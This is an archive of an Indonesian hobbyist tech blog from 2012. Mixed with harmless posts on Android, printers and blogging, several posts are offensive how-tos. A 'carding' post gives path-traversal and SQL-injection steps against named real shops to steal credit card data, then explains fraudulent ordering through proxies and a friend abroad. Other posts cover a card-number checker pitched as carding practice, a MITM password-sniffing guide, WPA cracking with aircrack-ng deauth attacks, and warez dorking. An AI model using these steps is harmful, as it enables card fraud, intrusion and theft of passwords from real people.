Senin, 17 September 2012

Cara Membuat Aplikasi Android

Cara Membuat Aplikasi Android, membuat aplikasi android sendiri terbilang mudah juga ternyata,bahkan kamu tidak membutuhkan mengerti dengan detail koding2nya, nah infonetmu akan memberi sedikit tips untuk membuat aplikasi android dengan mudah.berikut caranya ada disini :

Cara Membuat Aplikasi Android
Cara Membuat Aplikasi Android


  1. Silahkan buka http://www.android3apps.com/
  2. Klik get started untuk memulai membuat aplikasi android secara online

    Cara Membuat Aplikasi Android infonetmu
  3. Lakukan step demi stepnya,step pertamu kamu pilih aplikasi android yang ingin kamu buat.

    Cara Membuat Aplikasi Android sendiri
  4. Setelah melakukan step pertama ini kamu akan diminta memasukkan kategory,email dan lain2.

    Cara Membuat Aplikasi Android
  5. Nah, laukan step berikutnya hingga selesei ya sob.

Rabu, 04 April 2012

cara membuat tombol kembali dan menu bergetar saat di pencet samsung galaxy y s5360 young

  • Buka Root Explorer
  • Mount /system/ sebagai RW (tombol kanan atas)
  • Masuk ke /system/usr/keylayout
  • Edit qwerty.kl
  • UBAH SESUAI YANG DIBAWAH!!!
    1. 158 BACK WAKE_DROPPED ( change to ) --> VIRTUAL
    2. 229 MENU WAKE_DROPPED ( change to ) --> VIRTUAL
    3. 139 MENU WAKE_DROPPED ( change to ) --> VIRTUAL
    4. 59 MENU WAKE_DROPPED ( change to ) --> VIRTUAL
    5. Save and exit!!
    6. REBOOT !!
    7. Coba pencet menu atau back
    8. contoh seperti gambar di bawah ini

cara streaming tv lokal di saamsung galaxy young y s5360

Cara Streaming TV Lokal dari Galaxy Y

pertama = install MX Video Player + codecnya
(instal dulu MX video player, lalu buka, nanti akan diminta untuk menginstall codec)
-alternatif install daroon player jika mx video player suka nutup sendiri

kedua = buka browser lalu ketik "tv.ayo-cari.com/mobile"

ketiga = pilih 01. Indonesia Channel 01 >> untuk streaming TV Lokal

keempat = pilih MX video Player sebagai Playernya

kelima = nikmati streaming TV Lokal pilihan

kode rahasia(screet code) samsung galaxy y s5360 young

*#*#4636#*#* phone information
*2767*3855# hard reset
*#*#7780#*#* factory reset
*#*#7594#*#* change end call/power option
*#*#197328640#*#* service mode
*#*#273283*255*663282*#*#* file copy screen (backup media files)
*#*#526#*#* wlan test
*#*#232338#*#* shows wifi mac address
*#*#1472365#*#* gps test
*#*#1575#*#* another gps test
*#*#232331#*#* bluetooth test
*#*#232337#*# shows bluetooth device address
*#*#8255#*#* gtalk service monitor

*#*#0283#*#* packet loopback
*#*#0*#*#* lcd test
*#*#0673#*#* melody test
*#*#0842#*#* device test (vibration test and backlight test)
*#*#2663#*#* touch screen version
*#*#2664#*#* touch screen test
*#*#0588#*#* proximity sensor test
*#*#3264#*#* ram version

codes to get firmware version information:
*#*#4986*2650468#*#* pda, phone, h/w, rfcalldate
*#*#1234#*#* pda and phone
*#*#1111#*#* fta sw version
*#*#2222#*#* fta hw version
*#*#44336#*#* pda, phone, csc, build time, changelist number

note:
hard reset menghapus semua files & settings di internal memory, atau sama dengan memformat ulang firmwarenya warning! Kalo udah pencet ini langsung hardreset, ngga ada pilihan cancel.
Factory reset hanya menghapus account, system & aplikasi setting

Senin, 19 Maret 2012

cara install google chrome di backtrack5

pertama tama download paketan google chrome disini

pilih 32bit/64bit lihat pc yang anda gunakan untuk backtrack anda download yang berformat  (".deb") lalu pilih setujui lalau install

setelah terinstall buka aplikasi google chrome lalu akan keluar gambar seperti ini

lalu masuk konsole ketikkan
root@bt:~# gedit /usr/bin/google-chrome
lalu edit pada bagian ini letaknya di bawah sendiri
exec -a "$0" "$HERE/chrome" "$@"
tambahkan menjadi ini
exec -a "$0" "$HERE/chrome" "$@" --user-data-dir
lalu save dan simpan
taraaaaa.google chrome anda sudah bisa di gunakan

Jumat, 17 Februari 2012

arti lampu indikator printer canon

Jengkel juga jika tugas Anda selesai dan harus di cetak ternyata printer Anda bermasalah. Tentu Anda berharap ini tidak terjadi disaat-saat tugas yang sangat mendesak bukan?
Printer yang paling banyak digunakan salah satunya adalah buatan Canon type IP. Sebelum Anda membawa printer ini ke tempat service alangkah baiknya jika Anda telah mengetahui beberapa macam indikasi kerusakan melalui lampu indikator yang terdapat di printer. Lampu berwarna hijau dan oranye.
Printer Canon IPxxxx akan memberikan sinyal kepada Anda jika terjadi masalah melalui lampu indikator tersebut. Lampu indikator akan memberikan sinyal saat misalnya cartridge rusak, atau mekanik printer trouble dan sebagainya.
Inilah  cara mengenali arti kedip printer canon type IP1200, IP1300, IP1600, IP1700, IP1880, IP1980:
Kedip 7 kali hijau, Kedip 7 kali oranye berkedip bergantian
Waste Ink Pad Full / Ink Absorber Full. Printer memerlukan reset menggunakan software general tool resetter atau Ip Tool. Silakan Anda cari informasi download program tersebut di google.
Kedip 3 kali Oranye, Kedip 1 kali hijau
Terjadi masalah di mekanik printer. Sebaiknya menghubungi tempat service printer terdekat, kecuali Anda ingin mencoba memperbaikinya sendiri.
Kedip 4 kali oranye, Kedip 1 kali hijau
Printer absorber full (Waste Ink Pad Full). Printer memerlukan software resetter menggunakan software general tool resetter.
Kedip 5 kali oranye, Kedip 1 kali hijau
Cartridge Color atau black bermasalah. Masalah ini timbul bisa karena konektornya kotor atau chip IC rusak. Silakan Anda bersihkan terlebih dahulu menggunakan penghapus pensil konektor yang terdapat di cartridge dan cobalah pasang kembali. Jika tidak bisa gantilah cartridge Anda.
Kedip 7 kali oranye, Kedip 1 kali hijau
Ada indikasi cartridge yang warna rusak. Biasanya terjadi pada printer Canon IP1980 blink 7 kali oranye 1 kali hijau. Solusinya ganti Cartridge warna. Kerusakan Cartridge disebabkan oleh beberapa hal misalnya chip IC rusak, kotornya konektor atau penyebab lain. Cobalah terlebih dahulu membersihkan konektor sebelum melakukan penggantian cartridge.
Kedip 8 kali oranye, Kedip 1 kali hijau
Merupakan indikator bahwa Ink tank full. Printer Anda perlu di reset menggunakan general tool resetter.
Kedip 14 kali / Kedip 15 kali oranye, Kedip 1 kali hijau
Ada kemungkinan cartridge hitam harus diganti. Cobalah terlebih dahulu membersihkan konektor cartridge karena kemungkinan kotor sehingga koneksinya tidak lancar.
Demikianlah Tips Trik Komputer tentang Tips Cerdas Cara Mengenali 7 Arti Lampu Kedip Printer Canon Pixma IP dan Solusinya semoga membantu Anda. Terimakasih atas kunjungan Anda, semoga menjadikan belajar komputer online kita bermanfaat

Rabu, 15 Februari 2012

ilmu pengetahuan

Carding

Di Internet, istilah ini cukup banyak digunakan untuk suatu aktifitas yang berhubungan dengan kartu kredit. Misalnya transaksi e-commerce yang pembayarannya dilakukan dengan menggunakan kartu kredit, kejahatan penggunaan kartu kredit orang lain secara ilegal untuk suatu transaksi dan lain sebagainya. Orang yang menggunakan kartu kredit tersebut disebut dengan Carder.
Dalam kejahatan yang terjadi di dengan menggunakan kartu kredit ilegal melalui dunia internet, istilah ini lebih menjurus kepada proses penggunaan kartu kredit ilegal tersebut. Istilah ini diartikan sebagai kegiatan melakukan transaksi e-commerce dengan nomor kartu kredit palsu atau curian. Dimana untuk melakukan proses tersebut, sang pelaku --yang disebut carder-- tidak perlu mencuri kartu tersebut secara fisik. melainkan cukup tahu nomor kartu plus tanggal kadaluarsanya saja. Jangan bandingkan carding dengan aksi para hacker atau cracker. Kenapa? Ada dua alasan, pertama, nanti mereka jadi besar kepala kalau disejajarin dengan hacker, sedang alasan keduanya adalah karena kegiatan carding tidak terlalu memerlukan otak.
Lets Begin – Just For Share!

CGI Store Log
Disini kamu musti usaha sendiri mencari target nya.
Langkah-langkah nya :
1. http://www.cashwells.com/cgi-bin/store/index.cgi?page=Repair_Manuals.htm
2. Kemudian hapus/delete Repair_Manuals.htm di url/browsing sehingga menjadi http://www.cashwells.com/cgi-bin/store/index.cgi?page=
3. Masukkan file ini di belakang situs tadi :
../admin/files/order.log
Misal nya http://www.cashwells.com/cgi-bin/store/index.cgi?page=../admin/files/order.log
4. Maka yang keluar di situs itu adalah nomor CC (credit card).

Admin Take Over
Disini kamu musti usaha sendiri mencari target nya.
Langkah-langkah nya :
1. http://www.partsupply.in.th/shopadmin.asp
2. Langkah selanjutnya gunakan teknik SQL Injection
user : ‘or”=’
pass : ‘or”=’
3. Trus kamu buka file2 yang ada disana satu persatu. Dapat deh……. CC yg kita inginkan. Kalo kamu mendapatkan nomor CC (credit card) artinya kamu bernasib baik. Tapi kalo belum ada nomor CC (credit card) disana, artinya kamu belum beruntung. Coba cari lagi target lain.

Database Downloadable
Disini kamu musti usaha sendiri mencari target nya.
Langkah-langkah nya :
1. http://www.youngsliquors.com/winestore/shopadmin.asp
2. Kemudian hapus/delete shopadmin.asp di url/browsing sehingga menjadi http://www.youngsliquors.com/winestore/
3. Masukkan file ini di belakang situs tadi :
shopdbtest.asp
Misal nya http://www.youngsliquors.com/winestore/shopdbtest.asp
4. Trus lihat apa nama databasenya dan letaknya pada : xDatabase dan xDblocation
contoh :
xDatabase : shopping300
xDatabase :../../../../www/youngsliquors/5498761211
5. Skrg utk mendownload file shopping300 dapat dilakukan dgn merubah url/browsing nya menjadi :
http://www.youngsliquors.com/winestore/shopping300.mdb
6. Kalo sudah di download, buka file shopping300.mdb dgn Microsoft Access.

Metacart
Disini kamu musti usaha sendiri mencari target nya.
Langkah-langkah nya :
1. http://www.imagexpres.com/metacart/moreinfo.asp
2. Kemudian hapus/delete moreinfo.asp di url/browsing sehingga menjadi http://www.imagexpres.com/metacart/
3. Masukkan file ini di belakang situs tadi :
database/metacart.mdb
Misal nya http://www.imagexpres.com/metacart/database/metacart.mdb
6. Kalo sudah di download, buka file metacart.mdb dgn Microsoft Access.

PDshopPro Shopping Cart
Disini kamu musti usaha sendiri mencari target nya.
Langkah-langkah nya :
1. http://www.marktwainbooks.com/shop/category.asp?catid=4
2. Kemudian hapus/delete shop/category.asp?catid=4 di url/browsing sehingga menjadi http://www.marktwainbooks.com
3. Masukkan file ini di belakang situs tadi :
admin/dbsetup.asp
Misal nya http://www.marktwainbooks.com/admin/dbsetup.asp
4. Maka yang keluar di situs target adalah :
Your Database Type :
Microsoft Access
Your Connection String :
Driver={Microsoft Access Driver (*.mdb)}; DBQ=d:\inetpub\marktwainbooks\data\pdshoppro.mdb;
Current Status :
Connection to Database OK.
Database Primary ‘setup’ Table Found!
Database permissions OK!
5. Skrg utk mendownload file pdshoppro.mdb dapat dilakukan dgn merubah url/browsing nya menjadi :
http://www.marktwainbooks.com/data/pdshoppro.mdb
6. Kalo sudah di download, buka file pdshoppro.mdb dgn Microsoft Access.

Cara Order Barang
Sebelum melakukan order barang, kamu musti mempunyai seorang teman di luar negeri (misalnya USA) karna kita akan menggunakan alamat teman kita.
Jgn harap bisa order ke Indonesia karna Indonesia termasuk dalam daftar “Black List Order”.
Apabila kamu order barang menggunakan CC (Credit Card) org/pemiliknya asal USA maka sebelum order barang, gunakan proxy USA.
Begitu pula sebaliknya jika CC org/pemiliknya asal Inggris maka gunakan proxy UK.
1. Order sebuah Laptop di sebuah situs, misal nya seperti di bawah ini. Lalu klik tab “Add to Cart”
2. Kemudian masukkan nomor CDW (liat kolom CDW) ke kolom “QuickCart”. Lalu klik tab “Continue to Checkout”
3. Karna kamu Costumer baru, klik tab “Create Account”
4. Isilah data-data teman kamu (data di bawah ini adalah palsu).
5. Isi lagi data-data teman kamu (data di bawah ini adalah palsu).
 6. Pilih salah satu “Shipping Method” nya.





7. Masukkan data CC (Credit Card) yg kamu dapati dari situs atau teman.



 8. Perhatikan “Shipping Adress” nya. Laptop yg kita beli akan di kirim ke alamat teman kita (data di bawah ini adalah palsu).
9. Perhatikan lagi “Shipping Adress” nya (data di bawah ini adalah palsu).

 10. Skrg kamu tinggal menunggu kabar dari teman kamu yg di luar negeri (USA) via email/telepon.

cek nomer rekening dengan visual basic

Program kali ini kita akan belajar untuk mengetahui keaslian nomor kartu kredit "seseorang", apakah nomornya benar atau hanya nomor asal-asalan.
Jika anda pernah mampir ke dalam sebuah ATM (Mesin Uang), tentu anda pernah melihat struk pengambilan yang tercecer di lantai, nah nomor-nomor yang tertera di kertas struk tersebut merupakan nomor kartu kredit. Dengan nomor yang ada (jika ada sih, beberapa bank tidak mencetak nomor kartu kredit di struk) mungkin dapat digunakan seseorang untuk tujuan negatif. Jadi mulai sekarang simpan struk anda saat melakukan transaksi di ATM, dan ambil struk-struk yang tercecer di lantai ATM siapa tahu dapat digunakan untuk latihan carding misal belanja online di internet he..he..


Langsung saja Yang dibutuhkan dalam pembuatan program ini adalah :

1. textbox dengan properti name = txtsimpan

2. dua commandbutton dengan properti name CmdCek dan CmdDelete

3. satu label dengan properti name lblStatus

==============================================

Masukkan semua code di bawah ini ke dalam form

==============================================

Function isEven(n As Integer) As Boolean

isEven = True

If n And 1 Then isEven = False

End Function

Function CheckCard(CCnumber As String) As Boolean

Dim Counter As Integer, TmpInt As Integer

Dim Answer As Integer

Counter = 1

TmpInt = 0

While Counter <= Len(CCnumber) If isEven(Len(CCnumber)) Then TmpInt = Val(Mid$(CCnumber, Counter, 1)) If Not isEven(Counter) Then TmpInt = TmpInt * 2 If TmpInt > 9 Then TmpInt = TmpInt - 9

End If

Answer = Answer + TmpInt

Counter = Counter + 1

Else

TmpInt = Val(Mid$(CCnumber, Counter, 1))

If isEven(Counter) Then

TmpInt = TmpInt * 2

If TmpInt > 9 Then TmpInt = TmpInt - 9

End If

Answer = Answer + TmpInt

Counter = Counter + 1

End If

Wend

Answer = Answer Mod 10

If Answer = 0 Then CheckCard = True

End Function

Private Sub CmdCek_Click()

If TxtSimpan.Text = "" Then

LblStatus.Caption = "Isi Dahulu TextBoxnya !"

Else

LblStatus.Caption = CheckCard(TxtSimpan.Text)

End If

End Sub



Private Sub CmdDelete_Click()

TxtSimpan.Text = ""

LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."

End Sub



Private Sub Form_Load()

TxtSimpan.Text = ""

LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."

End Sub



Private Sub TxtSimpan_Change()

If Len(TxtSimpan.Text) < 16 Then LblStatus.Caption = "Nomer Kartu Kredit Terdiri Dari 16 Angka" End If End Sub Private Sub TxtSimpan_KeyPress(KeyAscii As Integer) If KeyAscii < 47 Or KeyAscii > 57 Then KeyAscii = 0

End Sub

=============================

Jumat, 03 Februari 2012

Man in The Middle Automation Script [ yamas ]


Disini penulis akan sedikit share tentang penggunaan dari yamas,sebuah script untuk melakukan MITM [ Man In The Middle ],secara otomatis dengan tampilan console dan dengan cara penggunaan yang cukup mudah. Yamas ini support untuk melakukan sniffing yang antara lain sebagai berikut :

- arp poisoning dengan arpspoof secara default atau -e untuk ettercap
- menginstall sslstrip bila blm terinstall
- Auto-update
- support silent mode -s


Yang di lakukan pertama kali,tentunya menginstall yamas ini sendiri , untuk itu silahkan ke http://comax.fr/yamas.php atau bisa juga melalui console dengan cara buka console / terminal dan ketikkan wget http://comax.fr/yamas/bt5/yamas.sh dan sebagai root tentunya :D

Apabila sudah terinstall jangan lupa chmod +x yamas.sh
untuk menggunakannya silahkan ketik di terminal

./yamas.sh


sedang untuk selanjutnya cukup ketikkan di terminal/console

civo@\ghost_cyber:~# yamas


selanjutnya tinggal pencet enter dan akan muncul tampilan

From what port should the traffic be redirected to? (default = 80)

tekan enter lagi dan kurang lebih tampilannya sbb :


setalah itu tekan ENTER lagi yaaa...:D , penampakan di terminal /console akan seperti ini


tekan ENTER lagi dan sekali lagi tekan ENTER lagi :D [ enter2 terus yaa #ngakak ] , maka disini kita akan di hadapkan pada 2 pilihan untuk memasukkan host dan IP secara manual dengan menekan " D " atau bila kita menginginkan default maka kita cukup tekan ENTER..dan penulis memilih menekan ENTER ...xexexexexe,hasilnya akan seperti ini :


ok sekarang penulis akan mencoba browsing dengan menggunakan komputer lain yang masih 1 jaringan LAN dengan gateway tersebut...dan kita tunggu hasilnya...:D.....
akhirnya penampakannya sebagi berikut :


kita dapat melihat di situ tertera webiste yang penulis akses dan password penulis pun tertangkap dengan enskripsi md5 :D , nah jika di rasa cukup,tinggal pilih angka 6 untuk keluar dan kita akan di tanya apakah log akan di simpan,kalau ingin di simpan tekan " Y " kalau tidak langsung tekan ENTER. Setelah itu kita juga akan di hadapkan pada satu pertanyaan lagi bahwa password akan disimpan atau tidak,bila ingin di simpan tekan " Y " bila tidak tekan ENTER....
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpzT1bMkqtKFM1Gj7xq0dOnc1B0B1fyK6ZNn_nfSK25Ux5C_a8tPPxYaSmwF8kkfi4DP35X6hrdqWGyLiueRBhWYWqDBeY-WbQMDALdByr25VB7MO5AzLZk81nP-qnekdPebPhvoO6avE/s1600/yamas5.png


DAn untuk melihat hasil log dan passwordnya silakan menuju ke direktory yang tertera di situ yaa :D....
karena penulis udah capek nulisnya,maka kita sudahi dulu sampai disini...#relax

semua ini bersumber dari banyak sumber,dan dari experimen sendiri,semoga bermanfaat....

Kamis, 02 Februari 2012

cara membuat barcode pada blog

pada umumnya barcode di pakai di product2 tapi kali ini barcode dapat anda masukkan blog definisi barcode sendiri dapat anda lihat disini cara membuat barcode pada blog 1.anda klik link ini maka anada akan melihat tampilan seperti ini
2.anda melihatkan kotak di bawah code barcode di situ masukkan kata-kata yang ingin anda jadikan barcode lalu klik create QR CODE ,setelah gambar berubah lalu simpan gambar tersebut dg view images lalu save ,setelah anda save lalu upload ke blog untuk letak terserah anda jadi deh......bisa juga anda taru di widget

Rabu, 01 Februari 2012

cara mengganti favicon blog

Selamat pagi lama nggak buka Blog jadi kangen pengen nulis hehehe.., Pagi ini saya akan berbagi CARA MUDAH GANTI FAVICON BLOG , kenapa? sebab saya pernah pusing kalau ganti favicon saja harus lewat edit HTML segala maklum saya ini kan termasuk gaptek alias baru di dunia blog . Dan saya nggak ingin blog pemula lainnya pusing seperti saya, dan ternyata memang ada CARA MUDAH GANTI FAVICON BLOG pada Blogspot. kalau ada yang mudah kenapa harus memilih yang sulit betul nggak sobat....

Ok langsung saja sobat..
Favicon merupakan gambar kecil di sebelah kiri alamat web. Di blogspot / blogger bentuknya adalah huruf b warna orange. Untuk menggantinya Anda bisa mengutak atik templates yang dipergunakan. Namun kini terdapat cara yang lebih mudah untuk menggantinya.
Blogspot menyediakan fitur baru untuk mengganti favicon. Namun fitur ini masih dalam tahap pengembangan sehingga baru tersedia di dashboard versi draft.

Sebelumnya siapkan image yang akan akan dijadikan favicon Anda. Jika belum punya bisa membuat favicon lewat icoconverter klik disini Pilih ukuran icon 16 atau 32 atau 48 pixel. Jangan yang all sizes into one file, karena akan kebesaraan ukuran filenya. sebab di blogspot dibatasi maksimal favicon berukuran 100KB.



- cara merubah Favicon adalah :
1. Silahkan Login dulu ke Blog sobat
2. Buka Page element kemudian Tata Letak dan Pilih Edit favicon.





3. Pada Kotak Browse , cari image yang mau sobat jadikan favicon.
4. Kemudian Simpan

Selanjutnya simpan Template sobat dan lihat hasilnya Favicon akan berubah sesuai gambar yang Anda upload. Silakan tunggu beberapa saat jika favicon tidak muncul juga alias tetap huruf b yang nongol. Biasanya karena cache browser/koneksinya masih menyimpan favicon yang lama.

Senin, 30 Januari 2012

Selasa, 24 Januari 2012

cara hapus akun facebook permanent

Berikut adalah langkah yang benar bagaimana mendelete akun facebook kita (tidak hanya deactivate). Saya nasehatkan kepada anda untuk benar-benar focus pada langkah ini, karena membutuhkan waktu yang lama untuk benar-benar mengapusnya. Saya membutuhkan waktu 5 jam untuk benar-benar membuat halaman akun saya kosong. So, enjoy!

- Hapus semua kawan anda dengan cara mengklik tanda “x” lalu memilih “remove friend”.
- Hapus semua foto di halaman album anda. Caranya, masuk ke halaman foto, lalu pilih album dan pilih “delete this album”.
- Hapus semua komentar yang anda kirim, dengan cara masuk ke halaman profile lalu pilih tanda “x” dan pilih “delete” di setiap kotak wall dan komentar anda.
- Cabut keanggotaan anda dari groups, fan, dan supporter di halaman INFO. Caranya dengan mengunjungi group anda lalu pilih “remove”.
- Hapus semua info tentang anda. Pilih “info” edit.
- Remove smua tag yang ada di halaman foto anda
- Kirim email ke http://www.facebook.com/help/contact.php?show_form=delete_account dan pilih hapus akun secara permanen. Masukkan password anda lalu masukkan kata sandi yang terlihat.

- Setelah terkonfirmasi, facebook akan memberitahukan bahwa jika Anda tidak login selama 14 hari, maka akun anda akan terhapus dan tidak bisa direcovery.
- Setelah itu facebook akan log out otomatis.
- Silahkan perikasa 14 hari kemudian dengan login dengan akun anda. Kalau tidak bisa berarti facebook anda berhasil di delete.
Sumber : http://itguidelines.blogspot.com/2009/01/how-to-delete-facebook-account.html

Kesimpulan setelah saya melakukan langkah-langkah di atas adalah, semakin lama anda menjadi member di facebook maka akan semakin panjang waktu yang anda butuhkan untuk menghapus akun anda. Atau singkatnya, semakin lama semakin susah untuk keluar dari facebook. Jadi, sebelum anda terjajah olehnya lebih baik anda berhati-hati.

Minggu, 22 Januari 2012

cracking password WPA-PSK dengan backtrack

Kali ini, saya akan mencoba sedkit memberi penejelasan bagaimana sih cara membobol password hotspot yang bertipe wpa-psk dengan mudah.
Cara ini bisa menggunakan linux backtrack 4 final release atau linux apapun tertama asal sudah terinstall aplikasi aircrack-ng. Tidak berlama-lama mari simak artikel berikut.


Pertama, siapkan CD Live Backtrack atau bisa make linux ubuntu dengan menginstall aplikasi aircrack-ng. Ketik perintah di bawah untuk menginstall aircrack-ng di linux ubuntu
sudo apt-get install aircrack-ng


Kedua, masuk ke dekstop dengan perintah ~# startx (untuk yang pakai backtrack)


Ketiga, buka konsole (terminal) dan ketikkan perintah untuk melihat interface device yang ada
ifconfig -a


Keempat, ketikkan perintah di bawah untuk mengaktifkan interface wlan0
ifconfig wlan0 up


Kelima, sekarang gunakan aplikasi airmon-ng untuk airmon-ng membuat virtual interface mode monitor dengan mengetikkan perintah di bawah.
airmon-ng start wlan0


Keenam, monitorlah jaringan di sekitar kamu. Caranya ketiklah perintah ini.
airodump-ng mon0
catatan : mon0 adalah interface virtual hasil dari airmon-ng tadi


Ketujuh, fokuskan monitoring jaringan hotspot yang ingin kita bobol passwordnya. Ketik lagi perintah berikut.
airodump-ng -w coba –channel 11 –bssid 001122334455 mon0
keterangan: memonitoring khusus jaringan yang memiliki bssid 00:11:22:33:44:55 pada channel 11 dan hasil dari monitoring di tulis

pada file yang bernama ‘coba’


Selanjutnya, gunakan serangan dengan cara disconnect salah satu client untuk mendapatkan paket handshake yang dibutuhkan untuk proses cracking
aireplay-ng -0 1 -a 001122334455 -c oo1cbfa13fe3 mon0
keterangan: aireplay-ng digunakan untuk mendisconnect salah satu client yaitu 00:1C:BF:A1:3F:E3 untuk mendapatkan paket

handshake yang dibutuhkan untuk proses cracking
-0 : mode serangan deAuthentication
1 : dilakukan sebanyak 1x deAuth


Terakhir, setelah mendapatkan paket handshake, selanjutnya adalah proses cracking dengan menggunakan aircrack dan file password dengan existensi .lst atau .txt dengan perintah
aircrack-ng coba*.cap -w /pentest/passwords/wordlists/listpass.txt
keterangan : listpass.txt adalah file password yang saya buat sendiri dan terletak pada /pentest/passwords/wordlists/listpass.txt


NB,,,, keberhasilan proses cracking tergantung ada tidaknya password yang ada di list password dengan password yang sebenarnya. Jika password yang digunakan pada jaringan tersebut ada di list password maka proses cracking akan berhasil dan jika password list yang kita miliki tidak mencatat password yang digunakan pada jaringan tersebut kemungkinan keberhasilan proses cracking akan gagal. Dan akhirnya, yang sedikit dari saya ini semoga membantu buat pengetahuan. Selamat mencoba

belajar google

Belajar google hacking, jika ingin belajar menjadi hacker musti tahu juga dasar2 dalam menggunakan hacking pada google. Berikut ini saya berikan sedikit dasar2 tersebut :


1. Ketikkan URL atau kriteria pencarian setelah titik dua.
2. Jangan ada spasi antara perintah dan istilah.
”””””””””””””””””””””””””””””
Perintah ext: [Mencari file tipe tertentu.]
exp = “ext:doc”
”””””””””””””””””””””””””””””
Perintah related: [Menampilkan website dengan tema serupa.]
exp = “related:yahoo.com”
”””””””””””””””””””””””””””””
Perintah site: [Menampilkan sub-site.]
exp = “site:yahoo.com”
”””””””””””””””””””””””””””””
Perintah allinurl: [Menampilkan semua URL.]
exp = “allinurl:yahoo”
”””””””””””””””””””””””””””””

Perintah allintitle: [Menampilkan semua istilah baris judul.]
exp = “allintitle:yahoo.com”
”””””””””””””””””””””””””””””
Perintah define: [Menjelaskan istilah.]
exp = “define:virus”
”””””””””””””””””””””””””””””
Perintah link: [Menampilkan popularitas website.]
exp = “link:namahomepage”
”””””””””””””””””””””””””””””
Perintah filetype:torrent [Menampilkan file tipe tertentu.]
exp = “batman filetype:torrent”
”””””””””””””””””””””””””””””
Perintah movie: [Menampilkan info film.]
exp = “movie:batman”
”””””””””””””””””””””””””””””
Perintah daterange: [Menampilkan website yang baru diindeks.]
exp = “daterange:(2006-01-01)(2006-02-02)”
”””””””””””””””””””””””””””””

Googling E-Book.
+(”index of”) +(”/ebooks”|”/book”) +(chm|pdf|zip|rar) +apache
Adalah Query yang menghasilkan Index ebook di server yang berbasis
Apache
allinurl: +(rar|chm|zip|pdf|tgz|lit) judul buku
Ganti “judul buku” dengan buku yang ingin dicari. Jika ingin mencari
“Wiro Sableng”, ganti “judul buku” dengan Wiro Sableng. Cara ini
digunakan jika benar-benar mengetahui judul buku yang dicari.

Googling Warez.
“parent directory ” Xvid -xxx -html -htm -php -shtml -opendivx -md5
-md5sums
“parent directory ” MP3 -xxx -html -htm -php -shtml -opendivx -md5
-md5sums
“parent directory ” applications -xxx -html -htm -php -shtml -opendivx
-md5 -md5sums
“parent directory ” Gamez -xxx -html -htm -php -shtml -opendivx -md5
-md5sums
“parent directory ” DVDRip -xxx -html -htm -php -shtml -opendivx -md5
-md5sums
Ganti Kata yang tebal dengan query.
Contoh, jika ingin mencari Limewire maka ganti “applications” dengan
Limewire. jika ingin mencari lagu dari Deep Purple berjudul Child In
Time, ganti “MP3? dengan Child in Time atau jika ingin mencari
lagu-lagu
Deep Purple tinggal ganti “MP3? dengan Deep Purple.

Googling MP3
?intitle:index.of? mp3
Cara lain untuk mencari MP3 di google adalah menggunakan Query ini.
Setelah MP3 kasih apa yang pengen dicari.
Contoh: Jika ingin mencari Led Zeppelin maka query-nya akan seperti ini
?intitle:index.of? mp3 led zeppelin

Googling file di megaupload
Untuk mencari File Video ketik :
avi|mpg|mpeg|wmv|rmvb site:megaupload.com

Untuk mencari File musik ketik :
mp3|ogg|wma site:megaupload.com

Untuk mencari archive dan program ketik :
zip|rar|exe site:megaupload.com

Untuk mencari ebooks ketik :
pdf|rar|zip|doc|lit site:megaupload.com

Googling file di rapidshare.de
Untuk mencari File Video ketik :
avi|mpg|mpeg|wmv|rmvb site:rapidshare.de

Untuk mencari File musik ketik :
mp3|ogg|wma site:rapidshare.de

Untuk mencari archive dan program ketik :
zip|rar|exe site:rapidshare.de

Untuk mencari ebooks ketik :
pdf|doc|lit|rar|zip site:rapidshare.de

Untuk Googling di Megaupload dan rapidshare bisa langsung meletakkan apa yang diinginkan di bagian pertama.
Contoh: Jika ingin mencari DA VINCI CODE ebook gunakan query ini
da vinci code pdf|doc|lit|rar|zip site:rapidshare.de
(ini jika kita benar-benar tahu judul bukunya).

Semoga bermanfaat

Sabtu, 21 Januari 2012

cara mendaftar adf.ly

Berburu Dollar dari adf.ly - Salah satu lagi cara untuk menghasilkan uang yang baru-baru ini sering digunakan oleh para Blogger adalah dengan menggunakan situs adf.ly. Situs ini terbukti akan memberikan kita dollar setiap link yang kita buat diklik oleh seseorang. Cara kerja situs ini sangatlah mudah, anda hanya diharuskan memasukkan link yang ingin anda jadikan sebagai penghasil uang, lalu Adf.ly akan memberikan link baru alias link pengganti yang jika diklik, kita akan mendapatkan dollar, piye? mudah to?. Misalkan saja seperti ini, saya mempunyai link download

http://www.microsoft.com/downloads/details.aspx?FamilyID=a1a48de1-e264-48d6-8439-ab7139c9c14d&displaylang=id

Lalu link tersebut saya masukkan ke adf.ly, maka adf.ly akan memberikan link baru yang jika diklik, kita akan mendapatkan dollar. Link yang diberikan oleh adf.ly lebih pendek, seperti http://adf.ly/Aqu. Jadi intinya adf.ly ini juga digunakan untuk memperpendek suatu link dan menyembunyikan link aslinya, seperti tinyurl dan usercash. Tapi kehebatan adf.ly daripada yang lain adalah, seperti diatas tadi, kita akan dibayar setiap link kita diklik. O'iya, jika anda ingin menggunakan layanan ini, sebelumnya anda harus mendaftar atau membuat akun di adf.ly. Jangan cemas, karena jika anda mendaftar, anda langsung mendapatkan bonus $5.

Dan berikut ini adalah detail tentang adf.ly:

* Setiap kita mendaftar,kita akan langsung mendapatkan bonus $5
* Setiap link yang di klik pengunjung site kita, akan mendapatkan $0.001
* Pembayaran apabila mencapai $20
* Pembayaran menggunakan paypal dan akan di proses setelah 48 jam – 72 jam

Bagaimana Cara Mendaftar? Mendaftar ke adf.ly sagatlah mudah, caranya:
1. buka adf.ly
2. Lalu klik 'Join Now'
3. Anda akan disuruh untuk mengisi formulir pendaftaran

* Your Name: Silakan isi dengan nama anda
* E-mail: masukkan alamat e-mail anda (nanti akan digunakan untuk konfirmasi)
* Retype E-mail: diisi dengan e-mail sekali lagi
* Password: isikan dengan password yang anda inginkan
* Retyper password: isi dengan password yang telah anda buat tadi
* Account type: pilih Link Shriker juka anda ingin menjadi penyebar link

4. jika semua sudah terisi, klik 'Join Now'
5. Sekarang cek E-Mail. adf.ly akan mengirimkan email konfirmasi kepada anda. Coba cari di inbox, jika tidak ada, mungkin email masuk ke spam. Jika sudah ketemu, langsung dibuka saja emailnya. Anda akan menemui kode konfirmasi dan link untuk pergi ke halaman aktifasi pada email tersebut.
6. Blok kode konfirmasi dan copy ke halaman aktifasinya.
7. Nah, berarti anda sudah terdaftar ke adl.fy

Log In ke adf.ly

